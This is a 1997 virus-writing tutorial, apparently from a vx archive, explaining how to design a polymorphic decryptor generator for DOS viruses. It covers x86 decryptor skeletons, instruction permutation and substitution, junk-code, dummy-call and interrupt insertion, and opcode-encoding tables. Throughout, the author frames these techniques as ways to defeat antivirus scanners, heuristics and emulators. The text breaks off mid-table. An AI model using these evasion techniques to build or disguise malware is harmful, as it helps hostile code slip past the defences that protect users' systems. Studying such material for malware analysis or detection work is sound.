Tutorials - Polymorphism - Analysis on the Decryptor Generator

ivanlef0u.fr/repo/madchat/vxdevl/vdat/tupolydg.htm

Polymorphism - Analysis on the decryptor generator
1.5
by Lord Julus - 1997

Foreword

Before saying anything I would like to appologize from the beginning for my English mistakes, as I had to write this article really fast so I had no time to spell/grammar check. Second of all, I am still under the influence of the polymorphic engine I started to work on for some time now (Lord's Multiple Opcode Fantasies). My routine was under developement, when I realised I really need a document to read from, some place where I could keep all the info I collect. That's when I started on this article here. So, most of it is concentrated on the main idea I used in M.O.F. But, in order to make it more simple to understand and more easy to explain I made a few 'shorcuts', sort of speak. E.g., you'll get the main idea and you'll be able to make your own poly engine after reading this, but you'll have to use you're imagination. This may not be the final form of this document. I might get new ideas or realize I made some mistakes. If I do I'll write it again... (that's why I gave it a version number)

So, for any comments, ideas, suggestions or mistakes you noticed I can be reached via e-mail at this address:

lordjulus@geocities.com

Do not wait and write ! Be well,

Lord Julus.

Introduction

Before the heuristic analysers and the code emulators appeared on the market the usual encryption methods worked pretty good. And I do not speak only about viruses. I also reffer to the methods used for protecting software and data. Code emulators are able to crack your protections in a matter of minutes. That's when the ideea of polymorphism arose. A coder from Bulgaria passing by the nickname of Dark Avenger who wrote a lot of destructive viruses (including an antivirus against two of his viruses who unleashed a third virus) came with this ideea when his MtE (Mutation Engine) appeared. What polymorphism is really all about is creating self decrypting code, able to create each and every time a different decryptor containing both decrypting code and also junk instruction designed to make debugging and emultating harder.
As this article is not designed to explain why is this needed or make a pro statement for polymorphism I will get directly to facts.

So, in my opinion a good poly engine should be able to:

- Create different decryptors by:
    + generating different instructions which do the same thing
    + swaping groups of instruction between them
    + creating calls to dummy routines

```
       - Generate junk instruction between real code
       - Being portable (can be included in any program)
       - Everything should be based on random numbers
       - Being able to create different size decryptors
       - It must be fast
       - It must be as small as possible

       Something anyone can notice is that the biggest and complicated the
decryptor is, the biggest and complicated and *slower* is the polymorphic
engine. All you'll have to do is find a good balance, e.g. finding the
best level of polymorphism a fast and small routine can create.

       In order to make this more easy to understand, I will use some
notations that are showed below:

  a) General notations:

      reg - general register (AX, BX, CX, DX)
     preg - pointer register (SI, DI, BP)
     sreg - segment register (CS, DS, ES, SS)
      imm - immediate value (8 bit or 16 bit)
      mem - memory location

      (note that BX can also be used as pointer register but I will avoid
       this case in this article)

  b) Specific notations:

     lreg - Register to hold code length
     creg - Register to hold the code
     kreg - Register to hold the key

     sreg - Segment override for the source
     dreg - Segment override for destination

     preg - The pointer register
     jreg - Junk register
     jprg - Junk pointer register

     key  - Encryption key
     keyi - Key increment
     rndm - random number

     length - Code length / 2 (because usualy the length is given in bytes
                               and I like to code on words)

       In order to make the polymorphic engine (PME) create the decryptor
faster I will assume the following, even though this is a little against
the rules I gave for a good engine, but I will explained why:

       - AX will be the junk register
       - BP will be used as a delta handler
       - The engine will create equal size decryptors (this in order
         to preserve the ability of a virus to hide the length of
         the host using stealth procedures)
```

And now the reason: many OpCodes for instructions are optimized for the register AX. This means that an instruction using the AX register will be shorter than one involving the BX register. Now, you probably think this is stupid... No ! That's because when generating instructions you have a set of instructions that do the same thing. Obviously the sum of bytes for each set will never be equal. If you want to create a PME to generate equal size decryptors, you'll have to pad with NOP's so all the sets will have same size. So, it's no use to have an optimized AX instruction if you have to pad it anyway because another instruction has more bytes. Instead, being the junk register, the junk code will be optimized on AX. This means you can have more junk instructions in the same space. I hope this clears it. (as you will see further I will not take use of this either to make the poly smaller...)

```
 .---------------------.
 |  General Decryptor  |
 '---------------------'
```

I will begin now with the general type decryptor and I will explain the way it works. This code is usualy put at the end of code, but some are put at the begining (I will not explain this here. MOF uses decryptors in different places, but you have to take care of the Delta Handle). The Decryptor is called from the beginning, decrypts the code and gives it the control (i.e. jumps to it).

Notice each instruction will have a number for further use.

```
       Decrypt   proc near
[1]              mov lreg, length                  ; get code length
[2]              mov preg, startcode               ; load pointer register
[3]              push cs                           ; make both source and
[4]              pop jreg                          ; destination segment
[5]              mov sreg, jreg                    ; registers point to
[6]              mov dreg, jreg                    ; the Code Segment
[7]              mov kreg, key                     ; get the key

        main_loop:
[8]              mov creg, sreg:[preg]             ; take an encrypted word
[9]              call unscramble                   ; decrypt it (*)
[10]             mov dreg:[preg], creg             ; write decrypted word
[11]             add kreg, keyi                    ; increment the key
[12]             dec lreg                          ; decrement length
[13]             inc preg                          ; increment pointer
[14]             inc preg                          ; by 2
[15]             jnz main_loop                     ; and loop until length=0
[16]             ret                               ; return control

       Decrypt   endp
```

(*) I will get back to the unscrambling procedure later.

As you can see, this is a general decryptor which takes a word from source:pointer, decrypts it and then puts it back to destination:pointer (which in this case are the same). Also you may notice

I used the incremented style encryption key. And the increment is not 1
as most decryptors do, but a random number ! (I'll discuss random stuff
later too).

```
 .--------------------------.
 |  Permuting Instructions  |
 '--------------------------'
```

       One of the very important things in a PME is the ability to
swap instructions or groups of instructions between them. Only this
feature is good enough to flame scan-string scaners. But we must be
very careful about what can be swaped and what can't, and so to
establish some rules. In our case this is how it goes:

Permutable instructions:

```
       Permutable instructions are in the [1] - [7] range with the
       following:
             a) instruction [1] can be placed anywhere
             b) instruction [2] can be placed anywhere
             c) instruction [3] can be placed anywhere but always
                above instruction [4]
             d) instruction [4] can be placed anywhere but always
                under instruction [3]
             e) instruction [5] can be placed anywhere but always
                under instruction [4]
             f) instruction [6] can be placed anywhere but always
                under instruction [4]
             g) instruction [7] can be placed anywhere

       Also permutable are instructions [10] - [14], which can be placed
       in any order.
```

       How do we permute the instructions. As you will see later, you will
have a routine for generating each of the above instructions. So, all
you have to do is make a matrix of bytes with the length 16, mark
the 8, 9, 15 and 16 positions with 8, 9, 15, 16 (as these can not be
permuted). Then fill the first part of the matrix (1-7) with numbers from
1 to 7 in a random order (being careful about the rules) and then fill the
10-14 part with numbers between 10-14 in a random order. Now, all you have
to do is call your routines in that order.

```
Example: 3,1,2,4,7,6,5,8,9,14,12,10,13,11,15,16
         (this code does exactly the same thing as the one above).
```

```
 .-----------------------.
 |  Coding Instructions  |
 '-----------------------'
```

       Here comes the best part of a PME: coding instructions in different
ways. What does this mean ? Let's take an example:

Instruction	OpCodes	Total bytes
mov bx, 1000h	B8 00 10	3
xor bx, bx	33 DB	
or bx, 1000h	81 CB 00 10	6
push 1000h	68 00 10	
pop bx	5B	4
sub bx, bx	2B DB	
xor bx, 1000h	81 F3 00 10	6
mov bx, 1000h xor 2222h	BB 22 32	
xor bx, 2222h	81 F3 22 22	6

Each and everyone of the above combinations will do the same thing: put the value 1000h into the BX register. Of course, the number of opcodes involved in each case is different, as you can see. What we'll need to do then is:

- pick up a combination
- generate it
- see the difference between the bytes number of the choosen combination and the one with the most bytes (6 in our case)
- pad the instruction with junk to reach the max

You will notice that as the instruction is more simple, it is more padded with junk and vice-versa.

Ok, so let's get back to our example and let's pick some variants for each one of our instructions.

```
[1]/[2]       mov lreg, length / mov preg, startcode
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
             (As I will explain later, many AV products tend to find out
              for themselves different values, like the length of the
              code or the start of code and so on. Therefore, I will use
              a method to hide this. I will discuss it more in the
              Armouring section)

              a) push imm        (imm = real data xor rndm)
                 pop reg
                 xor reg, rndm
                 junk byte
                 junk byte
                 junk byte
                 ---------
                 11 bytes

              b) mov ax, imm     (imm = real data + rndm)
                 mov reg, ax
                 sub reg, rndm
                 junk byte
```

```
                  junk byte
                  -----------
                  11 bytes

               c) xor reg, reg
                  xor reg, imm   (imm = real data - rndm)
                  add reg, rndm
                  junk byte
                  ------------
                  11 bytes

               d) mov reg, 0
                  add reg, imm   (imm = real data xor rndm)
                  xor reg, rndm
                  ------------
                  11 bytes

               e) mov reg, imm   (imm = real data xor rndm)
                  xor reg, rndm
                  junk byte
                  junk byte
                  junk byte
                  junk byte
                  ------------
                  11 bytes

[3]       push cs  - 1 byte
~~~~~~~~~~~~~~~~~~~~~~~~~~~
          (we'll leave this like it is, it's much too usual)

[4]       pop jreg
~~~~~~~~~~~~~~~~~~
          a) mov jprg, sp
             mov ax, ss:[jprg]
             add sp, 2
             -------------------
             8 bytes

          b) pop jprg
             xchg ax, jprg
             junk bytes \
             ...         > six times
             junk bytes /
             --------------------
             8 bytes

          c) pop jprg
             mov ax, jprg
             junk bytes \
             ...         > five bytes
             junk bytes /
             --------------------
             8 bytes

[5]/[6]   mov sreg, jreg / mov dreg, jreg
```

```
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
              a) push ax
                 pop sreg
                 junk byte
                 junk byte
                 -------------
                 4 bytes

              b) mov sreg, ax
                 junk byte
                 junk byte
                 -------------
                 4 bytes

              c) pop jreg
                 xchg jreg, ax
                 mov es, ax
                 -------------
                 4 bytes


[7]       mov kreg, key
~~~~~~~~~~~~~~~~~~~~~~~
              a) mov reg, imm
                 junk byte
                 junk byte
                 junk byte
                 ----------------------
                 6 bytes

              b) push imm
                 pop reg
                 junk byte
                 junk byte
                 -----------------------
                 6 bytes

              c) xor reg, reg
                 or reg, imm
                 ------------------------
                 6 bytes

[8]       mov creg, sreg:[preg]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
              a) mov creg, sreg:[reg]
                 junk byte
                 junk byte
                 junk byte
                 ---------------------
                 6 bytes

              b) push sreg:[reg]
                 pop reg
                 junk byte
                 junk byte
```

```
                     ----------------------
                     6 bytes

                  c) xor reg, reg
                     xor reg, sreg:[reg]
                     -----------------------
                     6 bytes

[9]       call unscrambble - 3 bytes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[10]      mov dreg:[preg], creg
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                  a) mov sreg:[reg], creg
                     junk byte
                     junk byte
                     junk byte
                     ---------------------
                     6 bytes

                  b) push reg
                     pop sreg:[reg]
                     junk byte
                     junk byte
                     ----------------------
                     6 bytes

                  c) xchg reg, sreg:[reg]
                     junk byte
                     junk byte
                     junk byte
                     -----------------------
                     6 bytes

[11]      add kreg, keyi
~~~~~~~~~~~~~~~~~~~~~~~~
          a) add reg, imm
             junk byte
             junk byte
             junk byte
             junk byte
             junk byte
             -----------------------
             9 bytes

          b) mov ax, imm
             add reg, ax
             junk byte
             junk byte
             junk byte
             junk byte
             -----------------------
             9 bytes

          c) mov ax, reg
```

```
             add ax, imm
             xchg reg, ax
             junk byte
             junk byte
             junk byte
             -----------------------
             9 bytes

          d) xchg ax, reg
             xor reg, reg
             or reg, ax
             add reg, imm
             ----------------------
             9 bytes

[12]     dec lreg
~~~~~~~~~~~~~~~~~
          a) dec lreg
             junk byte \
             ...        > 8 times
             junk byte /
             --------------------
             9 bytes

          b) mov ax, rndm
             sub lreg, ax
             add lreg, rndm-1
             ----------------
             9 bytes

          c) sub lreg, 1
             junk byte \
             ...        > six times
             junk byte /
             ----------------------
             9 bytes

          d) xchg ax, lreg
             dec ax
             mov lreg, ax
             junk byte \
             ...        > five times
             junk byte /
             -----------------------
             9 bytes

[13]/[14]  inc preg
~~~~~~~~~~~~~~~~~~~
             a) mov ax, 1
                add preg, ax
                junk byte
                junk byte
                junk byte
                ----------------
                8 bytes
```

```
              b) xchg ax, preg
                 inc ax
                 xchg preg, ax
                 junk byte  \
                 ...         > 5 times
                 junk byte  /
                 -----------------
                 8 bytes

              c) sub preg, rndm
                 add preg, rndm+1
                 -----------------
                 8 bytes

              d) add preg, rndm
                 sub preg, rndm-1
                 -----------------
                 8 bytes

[15]    jnz main_loop
~~~~~~~~~~~~~~~~~~~~~
             (very important to code this good so the scaners don't see
              it's a decrypt loop. We'll speak more in the Armouring
              section)

             a) push cx
                mov cx, lreg
                jcxz _label
                pop cx
                jmp main_loop
          _label:
                pop cx
                junk byte
                ------------
                10 bytes

             b) mov ax, ffffh
                add ax, lreg
                jns main_loop
                junk byte
                junk byte
                junk byte
                -------------
                10 bytes

             c) xor ax, ax
                sub ax, lreg
                jns main_loop
                junk byte \
                ...        > six times
                junk byte /
                --------------
                10 bytes
```

```
            d) xchg ax, lreg
               sub ax, 15h
               cmp ax, 0FFEBh
               xchg ax, lreg
               je main_loop
               --------------
               10 bytes
```

And now, some discussion on these matters.

First of all, you notice I wrote those junk bytes *after* the real code. You may choose to leave it this way, which will allow you to use junk instruction involving the junk register too. But I'd suggest to insert the junk bytes bewteen the real code, in this way having a better stealth of the real code. But in this case, of course, you won't be able to use junk instruction involving the junk register, unless they do nothing (like ADD AX, 0), because the junk register is used in the real code. I'd suggest the use of one byte or two bytes instructions BUT not in the last set (15) bacause here we need our flags to stay put! Another thing about the last pieces of code. You see there many conditional jumps. Well, they will not work ! Why ? Because the jump to the main_loop is surely bigger then -128 bytes. In this case all you have to do is change the code kinda like this:

```
        Instead of          Use

        Je Main_Loop        Jne not_main_loop
                            jmp main_loop
                            not_main_loop:
```

This gives us 3 more bytes, making the loop jump go up to 13 bytes.

As you can see, I consider that the poly engine should drop directly values into the decryptor, so you don't have to mess up with things like:

```
       mov bx, [bp + 0542]
```

Instead, the engine will compute how much BP+0542 is and will put the value there. This helps us in many directions. First of all, the AV's are hunting for stuff like [BP+...], because it's the mose used way of holding the Delta handle. But if we don't use it in our main decryptor, we can safely use it in our junk instructions !! This bring us again to messing up the AV. Check the Armouring chapter for more.

And last: I let the PUSH CS and RET instructions like they are, but these can be coded in different ways too. Use your imagination !

In this area you can make whatever you want and desire. Any other combinations can be added. After this is done, we can surely compute the length of our main decryptor. So let's do it:

Main decryptor length =

11+11+1+8+4+4+6+6+3+6+9+9+8+8+10 = 104 bytes

So, our decryptor with some junk in it is 104 bytes. To this we should add the unscramble procedure with which we shall deal later.

Now, only by permuting the instructions between them and adding the extra junk code into it, we have an almost good poly decryptor. But we don't wanna stop here !

Before jumping to generating instruction we should take a peek to...

```
 .-----------------------------.
 |  Creating junk instructions  |
 '-----------------------------'
```

The way to do this is:

In our code we have 16 sets of intructions we have to put garbage after and we also should put garbage before the first instruction. Studying the code I came up with this situation:

Bewteen	Nr. of junk instruction
0 - 1	15 to 20
1 - 2	10 to 15
2 - 3	0
3 - 4	10 to 15
4 - 5	10 to 15
5 - 6	5 to 10
6 - 7	10 to 15
7 - 8	15 to 20
8 - 9	5 to 10
9 - 10	5 to 10
10 - 11	10 to 15
11 - 12	10 to 15
12 - 13	10 to 15
13 - 14	10 to 15
14 - 15	10 to 15
15 - 16	10 to 15
16 - end	15 to 20 (+ the rest)

This is just my ideea, you can come up with something else.

So let's see which is the maximum amount of junk instructions we can have. It's

15*10 + 10*3 + 20*3 = 150 + 30 + 60 = 240 junk instructions.

If we consider the longest junk instruction as being 4 bytes long, then we'll have a maximum junk code of 4*240 = 960 bytes. This would make our decryptor 960 + 104 = 1064 bytes long. The more junks you want to put in the biggest the code will get.

How do we pick them ? Very simple. First we get a random number between the limits. Then we make a loop to generate that amount of junk instructions. For each we take a random between 1-4 which gives us the length of the instruction. Then we take randomly one of that instruction type (looking carefully to do not repeat the same instruction one after another - which is kinda impossible). After we did this for all the code, because of the fact that we use random numbers, it is virtualy imposible to get the maximum of junks for each interval. Therefore at the end we will have 960 total junks from which we only created a X nr. of junks. All we have to do then is create an amount Y = 960-X and put them after the last instruction. This is what I meant when I said (+the rest).

Now, one important thing. As you will see further, the 2, 3 and 4 bytes long instructions are much more soffisticated and make much mess. That's why I suggest you to make a probability of 10% for 1 byte instructions, 20% for two bytes instruction, 30% for 3 and 40% for 4 bytes instructions. I thought of this taking into account that within the code you already inserted a lot of 1 byte junks. You can also create 4 byte garbage, by overriding the three byte ones (you'll see how).

Let's check a little the types of junk we can use. I said that we can have a maximum 3 byte length instruction. I said so, because it's kinda hard to generate 4 or 5 bytes instructions and still keep the code small.

```
[a]       1 byte instructions
          ^^^^^^^^^^^^^^^^^^^
          CLI  .               DEC AX .
          STI  |               DEC AH |
          CLD  |               INC AX . affect AX
          STD  . affect        INC AH |
          CLC  | flags         LAHF   '
          STC  |
          CMC  |
          SAHF '
```

About creating 2, 3 and 4 byte instructions it goes like this (but this is not a rule, you'll have to read further):

- the 2 byte ones are the register to register instructions
- the 3 byte ones are usualy imm8 to register
- the 4 byte ones are usualy imm16 to register and mem operations

Remember we have two junk registers: AX and one pointer register (DI or SI). In the cases presented above (which you'll see further why are they two bytes long), the 'reg' can be either AX or the jprg. And we also have AX divided into AH and AL. We can perform any opperation over AH and AL, the second register being any of the other 8 bit registers.

This is a rule:junk registers are used for junk instruction, but we have exceptions from that. Here are cases when you can use them with any register:

- if cl/imm = 0 you can ROR/ROL/SHR/SHL any register
- if imm = 0 you can ADD/SUB/AND/OR/XOR any register
- if reg1=reg2 you can XOR any register
- you can perform TEST/CMP on any register
- you can XCHG any register with itself

```
 .-----------------------------------.
 |  Creating calls to dummy routines  |
 '-----------------------------------'
```

The creation of dummy routines and jumps is a very interesting feature and is very good at messing up the AV's.
What we should basically look at are these:

```
        CALL xxxx
        JMP  xxxx
        J___ xxxx (conditional jumps)
        RET
```

First, when we are about to create junk code we decide if:

A) we'll use CALL's
B) we'll use JMP's
C) we'll use both

From the beginning I'll tell you that using only calls is bad. Why ? Simple... Our code goes line by line, right ? Imagine this situation:

```
          Call _label            Type 1 Dummy Call
    (*)   ...
          ...
    _label:
          ...
          ...
          Ret
```

When Ret is reached, the IP returns at the (*), but after a while the Ret is reached again and here goes chaos. Or let's look at this:

```
          (*)                    Type 2 Dummy Call
    _label:
          ...
          ...
          Ret
          ...
          ...
          Call _label
```

This is also bad, because as the code is executed, it goes from (*) and reaches the Ret... Again chaos.
We cannot skip the Ret's (even if we replace them with some POP's, because the code still we'll come over the CALL again. Only in the first case we can POP the CS:IP and get it over with, but it's dangerous. AV's may notice that a CALL was made and there wasn't any RET for it...)
How can we solve this ?

First method: Use only JMPS.
The creation of a jump is really easy. All you do is put the opcode of an absolutely random kind of jump and then a zero word and remember the

place of that word. You must see that the jmp is not in the last part of the junk code ! Then, create the rest of the junk, by recording the length in bytes of the junk after the JMP. This is done easily. As soon as one instruction is generated, add it's length to a register. After you're done with three, four, five or even more instructions, just go back to the place where you wrote the 0 and write the length recorded. This length is equal to the offset of the jump destination minus jump offset minus 2 (in the case of 8bit displacement). Let's take an example:

```
      0100 EB06   Jae 0108
      0102 A800   Test al, 00
      0104 2D2310 Sub ax, 1023h
      0107 FB     Sti
      0108 83E701 And di, 1

      So we have 'A8 00 2D 23 10 FB' - 6 Bytes -> other junk
                             'EB 06' - 2 Bytes -> JMP code

     06 = 108 - 100 - 2
```

It is very important to compute very corectly the jump destination. You cannot make it random ! Imagine you wrote JAE 105 instead of JAE 108. The code would go directly to '23 10' (e.g. add dx, [bx+si]), messing all up.

What I described above is a jump 'downwards' the code. In order to make a jump 'upwards' the code, take this example:

```
      0100 A800      Test al, 0
      0102 81EB0001  Sub bx, 100
      0106 B81000    Mov ax, 10
      0109 EBF5      Jmp 100
```

In order to generate this call we have the following fomula:

Jump length = jump address - destination address + 2.

In our example: 109 - 100 + 2 = 11
Then we simply negate this number:

```
                                 11 = 0Bh
                                -11 = F5h (which is exactly what apperes in
                                           the opcode: EBF5)
```

Use all kinds of jumps, especially conditional ones, because as this i s junk code, it doesn't really matter if the jump is done or not. You really need to use the JMP instruction if you decide to take the other way:

Using Calls and Jmps.

I showed you how a Call cannot be created into a code that goes normaly because it will hang. Here comes the JMP to help us.
So, your random routine decided that you will use CALL+JMP.
Then your random routine must decide which kind of CALL it will make (as in the examples above). Let's analyse the two examples and see how the JMP solves the problem:

```
           Call _label             Type 1 Dummy Call & Jmp
     (*)   ...
           Jmp _label2
           ...
     _label:
           ...
           Ret
           ...
     _label2:

  --------------------------

           (*)                     Type 2 Dummy Call & Jmp
           ...
           Jmp _label2
     _label:
           ...
           Ret
           ...
     _label2:
           ...
           Call _label
```

So, what the JMP actually does is avoid the second passing across the Ret instruction.

In the first case:

- Write CALL 0000
- Write JMP 0000
- Compute _label and change the CALL accordingly
- Write the Ret
- Compute the _label2 and change the JMP accordingly

In the second case:

- Write Jmp 0000
- Write the Ret
- Compute _label2 and change the JMP
- Write Call _label (you know _label already)

Of course, between these instructions you can let your imagination run free. I would suggest to put in the '...' place a random number of instructions which would vary from 1 to 5.

Now, a really wonderful thing is to 'remember' such a CALL you created during the junk code generation and 'come back' to it. That is, you create a type 2 call and you keep the _label stored somewhere. Then, when you want to create another dummy call you just create the CALL instruction and put the _label as the address. This saves time in creating junk routines. Here is an ideea about how it would look:

```
           ...
           Jmp _label2
     _label:
           ...
```

```
          Ret
          ...
    _label2:
          ...
          Call _label
          ...
          ...
          Call _label
```

This is easily done and creates a better image of a structured program. Of course, in the '...' place you'll have both junk instructions as well as parts of the real decryptor.

```
 .----------------------------------.
 |  Creating dummy interupt calls  |
 '----------------------------------'
```

Here is a list of interrupts you can insert into your code and how they would afect registers (in brankets):

- INT 21h, with the following AH contents:

    + 0Bh - get input status (AL)
    + 0Dh - flush buffers (none)
    + 19h - get current disk (AX)
    + 4Dh - get terminate status (AX)

- INT 10h, with the following AH contents:

    + 08h - read char from cursor (AX)
    + 0Dh - read pixel from screen (AL)

So, all you have to do is generate a Mov ah, xx and then an INT. Very simple and very effective (most scanners die under these).
But beware, many people are tempted to use dummy calls like INT03 or INT01. Don't do this. This is flaged by most AV's. This goes into the Armouring section, which we'll discuss later.

```
 .-----------------------------.
 |  Getting random registers  |
 '-----------------------------'
```

We'll talk later about the random number routine. But first let's see how we store the order of our registers.
We have the following notations:

```
      reg field - a code that keeps the register to be used
     sreg field - a code that keeps the segment register
      r/m field - how is the instruction made (based, indexed, etc.)
      mod field - who makes the indexing (i.e. DI, BP, etc.)
      dir field - the direction
      w   field - word mark

      reg field:
      ~~~~~~~~~~
      AX or AL - 000  =  0
      CX or CL - 001  =  1
      DX or DL - 010  =  2
      BX or BL - 011  =  3
      SP or AH - 100  =  4
      BP or CH - 101  =  5
      SI or DH - 110  =  6
      DI or BH - 111  =  7
```

When coding an instruction where word or byte registers could be involved, they way too see which is the case is the 'w' bit. If it's 1 then we are talking word registers. If it's 0 we use byte registers.

```
      sreg field
      ~~~~~~~~~~
      ES - 001  =  1
      CS - 011  =  3
      SS - 101  =  5
      DS - 111  =  7

      r/m field
      ~~~~~~~~~
      00 - based or indexed
      01 - based or indexed with a 8-bit displacement
      10 - based or indexed with a 16-bit displacement
      11 - two register expresion

      mod field (if r/m is based or indexed)
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      000 - [BX+SI]
      001 - [BX+DI]
      010 - [BP+SI]
      011 - [BP+DI]
      100 - [SI]
      101 - [DI]
      110 - IF R/M = 00 A DIRECT MEMORY OFFSET OTHERWISE [BP]
      111 - [BX]

      segment overrides
      ~~~~~~~~~~~~~~~~~
      ES - 00100110 - 26h
      CS - 00101110 - 2Eh
      SS - 00110110 - 36h
      DS - 00111110 - 3Eh

      Direction
      ~~~~~~~~~
```

If set, reg is the destination and mod is the source, otherwise it's the other way around.

In order to choose a random order of the registers we must have this:

```
reg_table: db   11011000       ;bx cx dx
           db   11100100       ;bx dx cx
           db   01111000       ;cx bx dx
           db   01101100       ;cx dx bx
           db   10011100       ;dx cx bx
           db   10110100       ;dx bx cx
```

Just pick randomly one of the combinations and you'll have the registers to use: lreg, creg, kreg.

So in a very simple way, we got our registers to use. And remember that AX is the junk register. In the same way, you can pick the pointer register leaving the other one as junk pointer register.

Now let's see an example of how to generate a mov.

If you disassemble a program that contains this line:

```
MOV BX, [SI+0134h]
```

You'll get this OpCode: 8B 9C 34 01, or:

```
10001011100111000011010000000001, which means:

100010 | 1 | 1 | 10  | 011 | 100 | 0011010000000001 |
mov      d   w   r/m   reg   mod   data

lets see: d (direction) = 1, so from 'mod' to 'reg'
          w             = 1 (the word bit)
          r/m           = 10 (based with 16-bit displacement)
          reg (register)= 011 (BX)
          mod           = 100 ([SI])
          data          = 0134h (the 16 bit displ. added to SI)
```

So, in order to create a 'blank' Mov reg, [si+imm] you should have:

```
100010  1  1 10 000 100 0000000000000000, or

10001011 10000100 0000000000000000
           |||    '''''''''''''''''---> here you put your data
           |||
           ||'-----\
           |'-------> here you put your register
           '-------/
```

So what do you think this would be:

```
10001001100011011000000000000000 ?
```

It would be MOV [DI+1000h], CX because:

```
   d   = 1
   r/m = 10
   mod = 101
   reg = 001
```

```
       Now let's take all the instructions and look at each and everyone and
see how are they encoded. One more thing: I stated at the beginning that
I'll consider the AX the junk register because some instructions are
optimized for it. As you'll se below, being given a skeleton for an
instruction you can make it use any register. You can also make it use the
AX, even if a compiler wouldn't generate something like that. Hope you get
this...

       For the first instruction (MOV) I will indicate how you can calculate
the length of the instruction in bytes. For the rest figure it out, it's
easy !

a) The MOV instruction
~~~~~~~~~~~~~~~~~~~~~~
      1) mov reg, imm

         1011, w, reg, imm
                           - if w = 0 imm is 8  bit -> 2 byte instr.
                           - if w = 1 imm is 16 bit -> 3 byte instr.

      2) mov reg, reg
         mov reg, mem
         mov mem, reg

         100010, d, w, r/m, reg, mod, data
                           - if r/m = 00                -> 2 byte instr.
                           - if r/m = 01 data is 8  bit -> 3 byte instr.
                           - if r/m = 10 data is 16 bit -> 4 byte instr.

      3) mov sreg, reg
         mov reg, sreg

         100011, d, 0, 1, sreg, reg, 1
                          - 2 byte instruction

b) The XCHG instruction
~~~~~~~~~~~~~~~~~~~~~~~
   xchg reg, reg
   xchg reg, mem
   xchg mem, reg

   100001, w, r/m, reg, mod, data

c) The stack operations
~~~~~~~~~~~~~~~~~~~~~~~
   PUSH reg    - 01010, reg
   POP reg     - 01011, reg
   PUSH sreg   - 000, sreg, 10
   POP sreg    - 000, sreg, 11
   PUSH imm    - 01101000, data
   PUSH mem    - 11111111, r/m, 110, mod, data
   POP mem     - 1000111, r/m, 0000, mod, data
   PUSHA       - 01100000
   POPA        - 01100001
```

```
   PUSHF       - 10011100
   POPF        - 10011101

d) The logical instructions
~~~~~~~~~~~~~~~~~~~~~~~~~~~
   1) XOR
   ~~~~~~
      1.1) XOR reg, reg

           001100, d, w, 11, reg1, reg2

           with the mention that d = 1 only if reg1 = reg2

      1.2) XOR reg, imm

           100000, w, r, 11110, reg, data

           with the mention that if r = 0 register is 8 bit otherwise
                                          register is 16 bit

      1.3) XOR reg, mem
           XOR mem, reg

           00110, d, w, r/m, reg, mod, data

   2) OR
   ~~~~~
      1.1) OR reg, reg

           0000100, d, w, 11, reg1, reg2

      1.2) OR reg, imm

           100000, w, r, 11001, reg

      1.3) OR reg, mem
           OR mem, reg

           000010, d, w, r/m, reg, mod, data

   3) AND
   ~~~~~~
      1.1) AND reg, reg

           001000, d, w, 11, reg1, reg2

      1.2) AND reg, imm

           100000, w, r, 11000, reg

      1.3) AND reg, mem
           AND mem, reg

           001000, d, w, r/m, reg, mod, data
```

```
   4) NOT
   ~~~~~~
      1.1) NOT reg

           1111011111010, reg

      1.2) NOT mem

           1111011, w, r/m, 010, mod

   5) NEG
   ~~~~~~
      1.1) NEG reg

           1111011111011, reg

      1.2) NEG mem

           1111011, w, r/m, 011, mod

   6) TEST
   ~~~~~~~
      1.1) TEST reg, reg

           1000010, w, 11, reg1, reg2

      1.2) TEST reg, imm

           1111011, w, 11010, reg, data


   6) CMP
   ~~~~~~
      1.1) CMP reg, reg

           0011101, d, w, 11, reg1, reg2

      1.2) CMP reg, imm

           100000, w, r, 11111, reg

      1.3) CMP reg, mem
           CMP mem, reg

           001110, d, w, r/m, reg, mod, data


e) The Arithmetic instructions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   1) ADD
   ~~~~~~
      1.1) ADD reg, reg

           0000001, w, 11, reg, reg
```

```
   1.2) ADD reg, imm

        100000, w, r, 11000, reg

   1.3) ADD reg, mem
        ADD mem, reg

        000000, d, w, r/m, reg, mod

2) ADC
~~~~~~
   1.1) ADC reg, reg

        0001001, w, 11, reg, reg

   1.2) ADC reg, imm

        100000, w, r, 11010, reg

   1.3) ADC reg, mem
        ADC mem, reg

        000100, d, w, r/m, reg, mod

3) SUB
~~~~~~
   1.1) SUB reg, reg

        0010101, w, 11, reg, reg

   1.2) SUB reg, imm

        100000, w, r, 11101, reg

   1.3) SUB reg, mem
        SUB mem, reg

        001010, d, w, r/m, reg, mod

4) SBB
~~~~~~
   1.1) SBB reg, reg

        0001101, w, 11, reg, reg

   1.2) SBB reg, imm

        100000, w, r, 11011, reg

   1.3) SUB reg, mem
        SUB mem, reg

        000110, d, w, r/m, reg, mod

3) INC
```

```
   ~~~~~~
      01000, reg16
      1111111111000, reg8


   4) DEC
   ~~~~~~
      01001, reg16
      1111111011001, reg8

f) Shifting instructions
~~~~~~~~~~~~~~~~~~~~~~~~
   1) SHR
   ~~~~~~
      1.1) SHR reg, 1

           1101000, w, 11101, reg

      1.2) SHR reg, imm

           1100000, w, 11101, reg

      1.3) SHR reg, cl

           1101001, w, 11101, reg

   2) SHL
   ~~~~~~
      1.1) SHL reg, 1

           1101000, w, 11100, reg

      1.2) SHL reg, imm

           1100000, w, 11100, reg

      1.3) SHL reg, cl

           1101001, w, 11100, reg

   3) ROR
   ~~~~~~
      1.1) ROR reg, 1

           1101000, w, 11001, reg

      1.2) ROR reg, imm

           1100000, w, 11001, reg

      1.3) ROR reg, cl

           1101001, w, 11001, reg

   4) ROL
```

```
   ~~~~~~
      1.1) ROL reg, 1

           1101000, w, 11000, reg

      1.2) ROL reg, imm

           1100000, w, 11000, reg

      1.3) ROL reg, cl

           1101001, w, 11000, reg

   5) RCL
   ~~~~~~
      1.1) RCL reg, 1

           1101000, w, 11010, reg

      1.2) RCL reg, imm

           1100000, w, 11010, reg

      1.3) RCL reg, cl

           1101001, w, 11010, reg

   6) RCR
   ~~~~~~
      1.1) RCR reg, 1

           1101000, w, 11011, reg

      1.2) RCR reg, imm

